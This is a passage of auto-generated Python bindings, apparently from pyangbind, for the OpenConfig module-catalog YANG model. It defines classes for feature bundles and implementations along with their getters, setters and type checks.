self.__feature_bundles = t if hasattr(self, '_set'): self._set() def _unset_feature_bundles(self): self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) name = __builtin__.property(_get_name, _set_name) version = __builtin__.property(_get_version, _set_version) path = __builtin__.property(_get_path, _set_path) release_bundle = __builtin__.property(_get_release_bundle, _set_release_bundle) feature_bundles = __builtin__.property(_get_feature_bundles, _set_feature_bundles) _pyangbind_elements = OrderedDict([('name', name), ('version', version), ('path', path), ('release_bundle', release_bundle), ('feature_bundles', feature_bundles), ]) class yc_feature_bundles_openconfig_module_catalog__organizations_organization_feature_bundles(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/feature-bundles. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Enclosing container for the list of feature bundles """ __slots__ = ('_path_helper', '_extmethods', '__feature_bundle',) _yang_name = 'feature-bundles' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__feature_bundle = YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'feature-bundles'] def _get_feature_bundle(self): """ Getter method for feature_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle (list) YANG Description: List of feature bundles """ return self.__feature_bundle def _set_feature_bundle(self, v, load=False): """ Setter method for feature_bundle, mapped from YANG variable /organizations/organization/feature_bundles/feature_bundle (list) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundle() directly. YANG Description: List of feature bundles """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundle must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__feature_bundle = t if hasattr(self, '_set'): self._set() def _unset_feature_bundle(self): self.__feature_bundle = YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) feature_bundle = __builtin__.property(_get_feature_bundle, _set_feature_bundle) _pyangbind_elements = OrderedDict([('feature_bundle', feature_bundle), ]) class yc_feature_bundle_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles_feature_bundle(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/implementations/implementation/feature-bundles/feature-bundle. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of feature bundles supported by the implementation """ __slots__ = ('_path_helper', '_extmethods', '__name','__publisher','__version',) _yang_name = 'feature-bundle' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'implementations', 'implementation', 'feature-bundles', 'feature-bundle'] def _get_name(self): """ Getter method for name, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/name (leafref) YANG Description: Name of the referenced feature bundle """ return self.__name def _set_name(self, v, load=False): """ Setter method for name, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/name (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_name is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_name() directly. YANG Description: Name of the referenced feature bundle """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """name must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__name = t if hasattr(self, '_set'): self._set() def _unset_name(self): self.__name = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="name", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_publisher(self): """ Getter method for publisher, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/publisher (leafref) YANG Description: Publisher of the referenced feature bundle """ return self.__publisher def _set_publisher(self, v, load=False): """ Setter method for publisher, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/publisher (leafref) If this variable is read-only (config: false) in the source YANG file, then _set_publisher is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_publisher() directly. YANG Description: Publisher of the referenced feature bundle """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """publisher must be of a type compatible with leafref""", 'defined-type': "leafref", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True)""", }) self.__publisher = t if hasattr(self, '_set'): self._set() def _unset_publisher(self): self.__publisher = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="publisher", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='leafref', is_config=True) def _get_version(self): """ Getter method for version, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) YANG Description: Version of the referenced feature bundle """ return self.__version def _set_version(self, v, load=False): """ Setter method for version, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle/version (oc-cat-types:module-version-type) If this variable is read-only (config: false) in the source YANG file, then _set_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_version() directly. YANG Description: Version of the referenced feature bundle """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """version must be of a type compatible with oc-cat-types:module-version-type""", 'defined-type': "oc-cat-types:module-version-type", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True)""", }) self.__version = t if hasattr(self, '_set'): self._set() def _unset_version(self): self.__version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='oc-cat-types:module-version-type', is_config=True) name = __builtin__.property(_get_name, _set_name) publisher = __builtin__.property(_get_publisher, _set_publisher) version = __builtin__.property(_get_version, _set_version) _pyangbind_elements = OrderedDict([('name', name), ('publisher', publisher), ('version', version), ]) class yc_feature_bundles_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/implementations/implementation/feature-bundles. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: Enclosing container for the list of feature bundles """ __slots__ = ('_path_helper', '_extmethods', '__feature_bundle',) _yang_name = 'feature-bundles' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__feature_bundle = YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'implementations', 'implementation', 'feature-bundles'] def _get_feature_bundle(self): """ Getter method for feature_bundle, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle (list) YANG Description: List of feature bundles supported by the implementation """ return self.__feature_bundle def _set_feature_bundle(self, v, load=False): """ Setter method for feature_bundle, mapped from YANG variable /organizations/organization/implementations/implementation/feature_bundles/feature_bundle (list) If this variable is read-only (config: false) in the source YANG file, then _set_feature_bundle is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_feature_bundle() directly. YANG Description: List of feature bundles supported by the implementation """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """feature_bundle must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__feature_bundle = t if hasattr(self, '_set'): self._set() def _unset_feature_bundle(self): self.__feature_bundle = YANGDynClass(base=YANGListType("name version",yc_feature_bundle_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles_feature_bundle, yang_name="feature-bundle", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name version', extensions=None), is_container='list', yang_name="feature-bundle", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) feature_bundle = __builtin__.property(_get_feature_bundle, _set_feature_bundle) _pyangbind_elements = OrderedDict([('feature_bundle', feature_bundle), ]) class yc_implementation_openconfig_module_catalog__organizations_organization_implementations_implementation(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /organizations/organization/implementations/implementation. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: List of available implementations, keyed by an identifier provided by either the implementor or the module maintainer. Such a key avoids needing a complex composite key to uniquely identify an implementation. """ __slots__ = ('_path_helper', '_extmethods', '__id','__description','__reference','__platform','__platform_version','__status','__feature_bundles',) _yang_name = 'implementation' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__id = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__description = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__reference = YANGDynClass(base=[six.text_type,six.text_type,], is_leaf=True, yang_name="reference", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='union', is_config=True) self.__platform = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__platform_version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform-version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) self.__status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) self.__feature_bundles = YANGDynClass(base=yc_feature_bundles_openconfig_module_catalog__organizations_organization_implementations_implementation_feature_bundles, is_container='container', yang_name="feature-bundles", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return ['organizations', 'organization', 'implementations', 'implementation'] def _get_id(self): """ Getter method for id, mapped from YANG variable /organizations/organization/implementations/implementation/id (string) YANG Description: An identifier for the implementation, provided by the implementor. This id should uniquely identify a specific implementation of the module, e.g., based on the vendor, platform, and platform version. """ return self.__id def _set_id(self, v, load=False): """ Setter method for id, mapped from YANG variable /organizations/organization/implementations/implementation/id (string) If this variable is read-only (config: false) in the source YANG file, then _set_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_id() directly. YANG Description: An identifier for the implementation, provided by the implementor. This id should uniquely identify a specific implementation of the module, e.g., based on the vendor, platform, and platform version. """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """id must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__id = t if hasattr(self, '_set'): self._set() def _unset_id(self): self.__id = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, is_keyval=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_description(self): """ Getter method for description, mapped from YANG variable /organizations/organization/implementations/implementation/description (string) YANG Description: A text summary of important information about the implementation """ return self.__description def _set_description(self, v, load=False): """ Setter method for description, mapped from YANG variable /organizations/organization/implementations/implementation/description (string) If this variable is read-only (config: false) in the source YANG file, then _set_description is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_description() directly. YANG Description: A text summary of important information about the implementation """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """description must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__description = t if hasattr(self, '_set'): self._set() def _unset_description(self): self.__description = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="description", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_reference(self): """ Getter method for reference, mapped from YANG variable /organizations/organization/implementations/implementation/reference (union) YANG Description: A URI (preferred) or text reference to more detailed information about the implementation. """ return self.__reference def _set_reference(self, v, load=False): """ Setter method for reference, mapped from YANG variable /organizations/organization/implementations/implementation/reference (union) If this variable is read-only (config: false) in the source YANG file, then _set_reference is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_reference() directly. YANG Description: A URI (preferred) or text reference to more detailed information about the implementation. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=[six.text_type,six.text_type,], is_leaf=True, yang_name="reference", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='union', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """reference must be of a type compatible with union""", 'defined-type': "openconfig-module-catalog:union", 'generated-type': """YANGDynClass(base=[six.text_type,six.text_type,], is_leaf=True, yang_name="reference", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='union', is_config=True)""", }) self.__reference = t if hasattr(self, '_set'): self._set() def _unset_reference(self): self.__reference = YANGDynClass(base=[six.text_type,six.text_type,], is_leaf=True, yang_name="reference", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='union', is_config=True) def _get_platform(self): """ Getter method for platform, mapped from YANG variable /organizations/organization/implementations/implementation/platform (string) YANG Description: Name of the platform on which the implementation is available -- this could be the model name of a network device, a server OS, etc. """ return self.__platform def _set_platform(self, v, load=False): """ Setter method for platform, mapped from YANG variable /organizations/organization/implementations/implementation/platform (string) If this variable is read-only (config: false) in the source YANG file, then _set_platform is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_platform() directly. YANG Description: Name of the platform on which the implementation is available -- this could be the model name of a network device, a server OS, etc. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="platform", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """platform must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__platform = t if hasattr(self, '_set'): self._set() def _unset_platform(self): self.__platform = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_platform_version(self): """ Getter method for platform_version, mapped from YANG variable /organizations/organization/implementations/implementation/platform_version (string) YANG Description: Implementor-defined version name or number of the module implementation, corresponding to the platform. This could be the firmware version of a network device such as a router, OS version, or other server platform version. """ return self.__platform_version def _set_platform_version(self, v, load=False): """ Setter method for platform_version, mapped from YANG variable /organizations/organization/implementations/implementation/platform_version (string) If this variable is read-only (config: false) in the source YANG file, then _set_platform_version is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_platform_version() directly. YANG Description: Implementor-defined version name or number of the module implementation, corresponding to the platform. This could be the firmware version of a network device such as a router, OS version, or other server platform version. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=six.text_type, is_leaf=True, yang_name="platform-version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """platform_version must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform-version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True)""", }) self.__platform_version = t if hasattr(self, '_set'): self._set() def _unset_platform_version(self): self.__platform_version = YANGDynClass(base=six.text_type, is_leaf=True, yang_name="platform-version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='string', is_config=True) def _get_status(self): """ Getter method for status, mapped from YANG variable /organizations/organization/implementations/implementation/status (identityref) YANG Description: Indicates the status of the implementation, e.g., complete, partial, in-progress, etc. Implementors may define additional values for the base identity """ return self.__status def _set_status(self, v, load=False): """ Setter method for status, mapped from YANG variable /organizations/organization/implementations/implementation/status (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_status is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_status() directly. YANG Description: Indicates the status of the implementation, e.g., complete, partial, in-progress, etc. Implementors may define additional values for the base identity """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PLANNED': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:COMPLETE': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}, 'oc-cat-types:PARTIAL': {'@module': 'openconfig-catalog-types', '@namespace': 'http://openconfig.net/yang/catalog-types'}},), is_leaf=True, yang_name="status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='identityref', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """status must be of a type compatible with identityref""", 'defined-type': "openconfig-module-catalog:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'IN_PROGRESS': {'@module': 'openconfig-catalog-types', '@namespace': 